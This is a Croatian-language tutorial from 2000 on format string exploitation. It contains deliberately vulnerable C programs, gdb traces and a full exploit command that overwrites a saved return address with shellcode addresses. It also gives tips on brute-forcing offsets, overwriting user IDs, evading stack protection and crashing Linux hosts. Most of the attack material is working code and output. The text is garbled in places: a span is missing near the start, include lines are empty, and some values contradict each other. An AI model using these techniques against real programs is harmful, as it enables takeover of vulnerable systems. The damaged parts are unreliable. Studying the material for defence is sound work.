/* Download sa NHC sajta */ /* WWW.NHC-Team.ORG */ /* Tema: Hacking/Security */ =========================================== F O R M A T S T R I N G B U G S - A r t o f e x p l o i t a t i o n ==============[ by slash input_buffer); break; ... } syslog (LOG_INFO, message); return; } Tu je i sama rupa. Syslog() bi trebao citati: 'syslog(LOG_INFO, "%s", mesage'. Da bi ovo razumjei pogledati cemo prototype syslog() funkcije: xtern void syslog __P ((int __pri, __const char *__fmt, ...)); (U citljivom formatu to izgleda ovako:) void syslog (int priority, char *format, ...); syslog() ocekuje da njegov drugi argument bude format string. Format string je najobicniji string koji nakon sto je izvrsen u funkciji, biti ce ispisan kao variabla koju string predstavlja. Evo sto se interpretira kad programu posaljemo string '%s%s%s': syslog (LOG_INFO, "%s%s%s"); Svaki %s treba argument. Ispravno koristenje ove funkcije izgledalo bi ovako: syslog (LOG_INFO, "%s%s%s", argument1, argument2, argument3); Ali u prethodnom (neispravnom) slucaju nema dodanih argumenata. Zato se program rusi. Program ne provjerava dali je upisan odgovarajuci broj argumenata, te pokusava pristupiti nekim drugim podacima, svakako izvan svog adresnog prostora. Ovaj bug ne postoji samo u syslog() funkciji. Ranjive su sve funkcije koje interno pozivaju vfprintf(): * printf (sprintf(), snprintf(), printf(), vsprintf(), vsnprintf(), vprintf()) * syslog(), vsyslog() * setproctitle() i neki drugi. (0x01) U s e & A b u s e ======================== Evo sto dobijemo kad pokusamo neke druge stringove (osim %s): 0.0000000.0000000(nil).0x6c696e28.0x78302e29.0x39366336 Iz ovoga vidimo da program pokusava pristupiti stack frameovima izvan vfprintf(() funkcije. Tu dolazimo do drugih format stringova kao sto je %n. %n je dosta zanimljiv zato jer zapisuje podatke u 'argument pointer'. Evo sto sam pronasao u manpages za snprintf()/sprintf() : "... n The number of characters written so far is stored into the integer indicated by the `int *'' (or variant) pointer argument. No argument is con- verted. ..." Heh, ovo znaci da zapravo mozemo i pisati po memoriji, a ne samo citati ju. Evo naseg testnog programa: #include #include #include void vuln(char *arg) { char buf[1024]; char string[64]; strcpy (string, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); snprintf (buf, sizeof(buf)-1, arg); /* ovdje je sami bug */ printf ("%s\n", buf); return; } int main(int argc, char **argv) { if (argc > 1) vuln(argv[1]); return (0); } -- EOF -- slash@triceps:~/fmt$ gcc -Wall -o fmt1 fmt1.c slash@triceps:~/fmt$ ./fmt1 "Hello world" Hello world slash@triceps:~/fmt$ ./fmt2 %p.%p.%p.%p 0x41414141.0x41414141.0x41414141.0x41414141 [Nas "string" buffer lociran je na dnu funkcijskog stack frame-a pa je zato i prva stvar koju ce vfprintf procitati nakon vuln()-ovog stack frame-a] slash@triceps:~/fmt$ ./fmt1 %p.%p.%p.%n Segmentation fault slash@triceps:~/fmt$ ulimit -c unlimited slash@triceps:~/fmt$ ./fmt1 %p.%p.%p.%n Segmentation fault (core dumped) slash@triceps:~/fmt$ gdb ./fmt1 core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. ... Core was generated by ./fmt1 %p.%p.%p.%n'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.5...(no debugging symbols found)...done. Reading symbols from /lib/ld-linux.so.1...done. #0 0x400323f1 in vfprintf () from /lib/libc.so.5 (gdb) x/i 0x400323f1 0x400323f1 : mov %esi,(%edx) (gdb) Hrm, program se rusi kad pokusa kopirati vrijednost %esi registra u adresu %edx. (gdb) printf "%#lx %#lx\n", $esi, $edx 0x21 0x41414141 (gdb) Bingo! Iz ovoga vidimo da je snprintf() stvarno pokusao napisati nasu adresu (0x41414141 = AAAA) (0x02) R e a l L i f e H o l e s ================================== Heh, sad znamo da je moguce odrediti adresu koju zelimo. Adresa u memoriji koji si izaberemo biti ce prepisani sa vrijednosti %esi registra, sto ne zvuci bas korisno...anywayz, evo primjera: Recimo da zelimo prepisati tako da mozemo izvrsiti nas shellcode (ili nesto slicno), ali jedina vrijednosti koju mozemo dibiti je 0x00000021 ili nesto u tom smjeru. Sta sad ? :/ Pogledajmo u manpages: "... o An optional decimal digit string specifying a mini- mum field width. If the converted value has fewer characters than the field width, it will be padded with spaces on the left (or right, if the left- adjustment flag has been given) to fill out the field width. o An optional precision, in the form of a period (.') followed by an optional digit string. If the digit string is omitted, the precision is taken as zero. This gives the minimum number of digits to appear for d, i, o, u, x, and X conversions, the number of digits to appear after the decimal-point for e, E, and f conversions, the maximum number of significant digits for g and G conversions, or the maximum number of characters to be printed from a string for s conversions. ..." Ovo znaci da mozemo upotrijebiti nesto kao %100s ili %100d, i 100 byteova biti ce dodano u buffer (wrijednost %esi-ja povecat ce se za 100, i samo ce jedan va_arg biti preveden) Ideja: Probati cemo upotrijebiti nesto kao %.VRIJEDNOSTu kako bi napravili da %esi sadrzi vrijednost koju zelimo. U ovom slucaju recimo da zelimo da pokazuje na adresu koja bi sadrzavala shellcode ( 0xbffff964 recimo ) slash@triceps:~/fmt$ echo "ibase = 16; BFFFF964" |bx 3221223780 Sad kad bi recimo htijeli da nas program prepise adresu %eip registra trebali bi izvrsiti nesto kao: ./fmt %p.%p.%.3221223780u.%n #include #include #include void vuln(char *arg) { char buf[1024]; /* 1024-1028 sadrzi , a 1028-1032 has the */ printf ("Prije: %%eip - 0x%02x%02x%02x%02x sf %p.\n", buf[1031], buf[1030], buf[1029], buf[1028], &buf[1028]); snprintf (buf, sizeof(buf)-1, arg); /* nas bug*/ printf ("%s\n", buf); printf ("Poslje: %%eip - 0x%02x%02x%02x%02x.\n", buf[1031], buf[1030], buf[1029], buf[1028]); return; } int main(int argc, char **argv) { if (argc > 1) vuln(argv[1]); return (0); } slash@triceps:~/fmt$ ./fmt2 %p.%p.%.31337d.%n Prije: saved %eip - 0x8048577 na 0xbffffe94. Segmentation fault (core dumped) (buffer se sada nalazi na adresi 0xbffffa90) slash@triceps:~/fmt$ gdb ./fmt2 core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. ... Core was generated by ./fmt2 %p.%p.%p.%.31337d%n'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.5...(no debugging symbols found)...done. Reading symbols from /lib/ld-linux.so.1...done. #0 0x40031ea0 in vfprintf () from /lib/libc.so.5 (gdb) x/i 0x40031ea0 0x40031ea0 : movb $0x30,(%edi) (gdb) printf "%#lx\n", $edi 0xbfffcfff (gdb) Hrm...vfprintf() je prepunio stack segment pokusavajuci napuniti buffer nulama :( [Ovo ovisi o lajbrarima koje koristite. U nekim slucajevima problem nece nastupiti zbog cinjenice da su neki bufferi alocirani dinamicno. Ipak, kad bi u svoj format string ukljucili vrijednost kao sto je %.3221223780u, program ce probati alocirati 3 gigabajta RAM-a :) Ovo je isprobano na 3 masine koje su se totalno srusile zbog beskonacno ponavljajuce kmalloc() error poruke :) Kako ovo izbjeci ? Recimo da ne zelimo ubaciti cijelu adresu u nas format string vec povecavati vrijednost %esi-ja bajt po bajt ?! 1) 0x90 ======= Recimo da je %esi sad na 94(0x0000005e) i sljedeci va_arg je pointer koji pokazuje na o 0x90 - 0x5e = 0x32, ili 50 u decimalnom sustavu. Znaci; vrijednost %esi-ja trebamo povecavati za 50 sa argumentom koji bi izgledao otprilike ovako: %.50d .Sada nas format string izgleda ovako: 0x00000090 2) 0xfa ======= Slijedece treba 0xfa koji ce biti pisanu u (&saved_eip)+1: o 0xfa - 0x90 = 0x6a = 106 debimalno. Znaci, dodavanjem %.106u%n, %eip ce sadrzavati 0x0000fa90 i plus jedan bajt od stack framea odozgo biti ce zamjenjen sa 0x00. 3) 0xff ======= o 0xff - 0xfa = 5. Zbog toga sto je 5 relativno niska vrijednost moze doci do svakakvih stvari. printf ("%.10d\n", 0x41424344); ispisat ce isto sto i printf ("%.1d\n", 0x41424344); sto je u ovom slucaju "1094861636" ili 10 bajta :(Ali tko kaze da moramo koristiti %.VRIJEDNOSTu kako bi povecali vrijednost %esi-ja? Razumno rijesenje je da koristimo "ABCDE" umjesto %.VRIJEDNOSTuu kad se vrijednost %esi-ja treba povecati za recimo 10 bajta. Dodano, neceo morati koristity "dummy" va_arg za %.VRIJEDNOSTu izmedju &saved_eip adresa. Tako ukljucimo "ABCDE%n" i iskljucimo "dummy" vrijednost return adrese i nas je sada 0x00fffa90. Jos jedan bajt i sve radi :) 4) 0xbf ======= Posto trebamo 0xbf a vrijednost %esi-ja je sada 0xff probat cemo sa 0xbf - 0xff = -0x40 = -64 bajta %.-64u definitivno nece smanjiti vrijednost :) U ovom slucaju povecavat cemo broj dok vrijednost %esi-ja ne predje 0x100, 256. 0x1bf - 0xff = 192. Znaci zadnji bajt of 0x000001bf ce biti spremljen u (&saved_eip)+3, a 0x00000001 ce biti spremljen na neko mjesto koje nam nije bas bitno :) Vrlo jednostavno smo prepisali nas sa svojom adresom :) Nas buffer izgleda ovako: --- <&saved_eip> AAAA (dummy1 za %.VRIJEDNOSTu) <&saved_eip+1> <&saved_eip+2> (nema dummy vrijednosti zato jer se %.VRIJEDNOSTu ne koristi) AAAA (dummy2) <&saved_eip+3> %.50u%n %.106u%n ABCDE%n %.192u%n --- Tocnije: 0xbfff1234 0x8048577 0x8049cf8 34 12 ff bf 77 85 04 08 f8 9c 04 08 (saved %ebp) (saved %eip) (argumenti funkcije, &arg) --- Argumenti: %.50u%n -> (dummy0, a onda &saved_eip) Nakon dodavanja 50 bajtnog polja u nas broj, vrijednost %esi-ja biti ce 144 ili 0x00000090. --- 34 12 ff bf 90 00 00 00 f8 9c 04 08 ^^ ^^ ^^ ^^ %.50u%n%.106u%n -> (dummy1, onda &saved_eip+1) Vrijednost %esi-ja je sada 250 ili 0x000000fa. --- 34 12 ff bf 90 fa 00 00 00 9c 04 08 ^^ ^^ ^^ ^^ %.50u%n%.106u%nABCDE%n -> (&saved_eip+2) %esi = 255, ili 0x000000ff. --- 34 12 ff bf 90 fa ff 00 00 00 04 08 ^^ ^^ ^^ ^^ %.50u%n%.150u%n%ABCDE%n%.192u%n -> (dummy2, &saved_eip+3) %esi = 447, ili 0x000001bf. --- 34 12 ff bf 90 fa ff bf 01 00 00 08 ^^ ^^ ^^ ^^ Evo, uspijeli smo prepisati nasom adresom koja samo ceka da je funkcija POP-a i da se RETurna :) [Kao sto znate ovo nece raditi na systemima koji imaju instaliran Solar Designerov non-executable stack patch] slash@triceps:~/fmt$ ./fmt2 test Prije: saved %eip - 0x8048577 na 0xbffffe94. Poslje: saved %eip - 0x8048577. slash@triceps:~/fmt$ ./fmt2 `echo -ne "\x94\xfe\xff\xbfJUNK\x95\xfe\xff\xbf \x96\xfe\xff\xbfJUNK\x97\xfe\xff\xbf\`cat pad\` %.50u%n%.150u%nABCDE%n%.192u%n\`cat shellcode\`"` Prije: saved %eip - 0x8048577 na 0xbffffe94 Poslje: saved %eip - 0xbffffa90. Segmentation fault (core dumped) slash@triceps:~/fmt$ Phear :) Uspjeli smo promjeniti %eip sto uglavnom znaci da smo preuzeli kontrolu nad programom. Mozda ce vam biti cudno sto je program ipak dump-o core. To se dogadja zato jer moramo pogoditi tocni pocetako naseg shellcode-a (ili NOP-a). Program pokusava izvrsiti ono sto je na pocetku buffera, koji u nasem slucaju ne sadrzi nista sto se moze izvrsiti. Moguce je ukljuciti shellcode buffer gdje je nas format string, ali je dosta komplicirano tak nesto izvest. (0x03) P a d d i n g ==================== Da bi dosli do naseg pointera moramo browsati stack kako bi dosli do nekog buffera ciji sadrzaj mozemo kontrolirati. Evo do cega sam dosao nakon proucavanja manpages-a. *) %f - double (8 bajta na 32-bit sistemima) - POP-a 8 bajta sa stacka - Output ovoga moze biti do 20 bajta. ali jako ovisi o va_arg kojeg dobiva. Sa necime kao %20.0f, trebali bi biti sigurni. Ako vec znate sadrzaj stacka na tom mjestu upalit ce i %.f :) *) %e, %E - double - POP-a 8 bajta sa stacka - Output je dosta cudan, pa be preporucam koristenje ovog. *) %g, %G - double - POP-a 8 bajta sa stacka. Mozete koristiti nesto kao %-14g . Ne ovisi toliko o va_argument kao recimo %f . *) %d,%u,%i - integer (4 bajta na 32-bit sistemima) - Lako za manipuliranje, neovisno o va_arg. *) %c - char (4 bajta na 32-bit sistemima) - Fenomenalno, jer ispisuje samo jedan bajt od 4 kojih koristi. - Posto moze ispisati NUL character (\0), mogli bi se naci u problemima u slucaju da zelite vidjeti oputput. Kad pisete exploit preporucam da na neki nacin vidite output buggy funkcije. Na taj nacin mozete odrediti adresu vaseg buffera na vrlo jednostavan nacin. Za dodavanje 8 bajta, drzite se %f ili %g; za 4 bajta koristite %c, %d, ili %u. Nemojte zaboraviti odrediti granicu velicine argumenata kako bi izbjegli mogucu guzvu. Recimo da je vas address buffer 0x4141414142424242... . Prvo sredite vas padding buffer koristeci %p dok tocno ne vidite da ste dosli do vase malicious adrese. Primjer: "%c%c...%c|%p.%p.%p.%p|" Kad vidite nesto slicno "nesto|0x41414141.0x42424242 ...|", znate da ste na pravom putu. (0x04) T i p s & t r i c k s ============================= o Paddingom sa %d postoji mogucnosta da ce vas va_arg sadrzavati vrijednost koja je veca od 0x7fffffff, sto predstavlja vrijednost vecu od moguce vrijednosti 'signed integer'. U ovom slucaju koristite %u zato je pretvara argument u 'unsigned' decimalni broj. o U ruku vam ide da svoj attack buffer sredite na ovaj nacin: Potrebni argumenti: 39 bajta Alignment: 3 bajta Adresa saved_eip-a: 50 bajta Padding: 100 bajta Argumenti za prepisivanje Eip-a: 50 bajta Dummy bajtovi: 58 bajta Sveukupno: 300 bajta U ovakvom slucaju brut forsanje offseta postaje jednostavnije zbog toga sto je buffer statican. Bez toga, i najmanja promjena ("%.99u" u "%.100u") moze imati negativne posljedice. o Jedan %.VRIJEDNOSTu moze biti koristen kako bi povecali vrijednost %esi-ja. Ovo moze biti koristeno na FreeBSD-u i Solarisu, ali zbog pogreske u Linux libc, moze doci do ozbiljnih problema i na kraju sa zamrzavanjem cijelog sistema. o Kod exploitanja linux sistema, pokusajte izbegavati returnanje na stack (0xbfff...) jer postoji mogucnost da je na remote hostu instaliran Solar Designer-ov stack patch (http://www.openwall.com/linux/). Probajte spremiti svoj shellcode negdje na heap-u. o Nemojte zaboraviti da ova tehnika pruza mogucnost prepisivanje bilo cega sto zelite. Recimo da zelite promjeniti svoj trenutni user ID (koji je u ovom primjeru 3000): < v a r i a b l e > < u s e r i d > DEADBEEF 00000911 00007530 0000000B 0804B320 S pretpostavkom da nas userid nikad ne prelazi 0xffff, 65535, mogli bi probati s necim ovakvim: < v a r i a b l e > < u s e r i d > DEADBEEF 00000911 00000000 00F3000B 0804B320 ^^^^ ^^^^ (dovoljan je samo jedan %n) o Takodjer mozete pokusati sa return-into-libc tehnikom isto kao i prepisivanjem PLT entryja , sto uspjesno zaobilazi Solar Designerov stack patch. (0x05) C l o s e i n g W o r d ============================== Evo, sada je 18:46 na badnje vece i ovaj tekst je napokon zavrsen nakon vise od 3 tjedna planiranja te tjedan dana pisanja. Na kraju teksta ostaje mi samo da pozdravim ljude bez kojih danas nebih bio ono sto jesam; DiGiT, k2, mikasoft, koji su me naucili svemu sto danas znam, Scrippie, koji mi je velikodusno pomagao, cijeli #!/bin/zsh koji je definitivno najkontroverzniji kanal na EFnetu, JimJones, koji mi je prvi objasnio buffer oveflowe, sirius, covjek kojega ceka svijetla buducnost, hr.hax0rz, jer pokusavaju nesto napraviti, cijeli ex buffer0verfl0w security, fireD, h0lmez, kreator, i sve oni koji se me pljuvali prije 2 godine kad sam prvi put dosao na #hr.hackers; da nije bilo vas, nikad nebih bio ovdje, jer upravo vi ste me svojom bahatoscu i netolerancijom natjerali da ucim i na kraju budem bolji od vas. Jos sam se htio osvrnuti na hrvatsku hacking scenu koja je trenutno u vrlo losem stanju. Znam koji put doc na #hr.hackers i svaki put se iznenadim kad vidim nove ljude, sto znaci da se ipak nesto dogadja, ali nedovoljno. Sve se svodi na sitne svadje i flejmanje sto nicemu ne vodi. Moja preporuka svima vama: "Ucite, ucite i ucite, tako da cu jednom (u skoroj buducnosti nadam se) moci doci i razgovarati o necemu normalnom". Sretan Bozic i Nova godina svima vama. Special greetz to IntruderX and CukyBoy. slash - 24. Prosinac anno 2000 tcsh@b0f.i-p.com / slash-b0f@irc.telia.se / slash@irc.carnet.hr "Exploitation should be an art" - p0rtal /* Download sa NHC sajta */ /* WWW.NHC-Team.ORG */ /* Tema: Hacking/Security */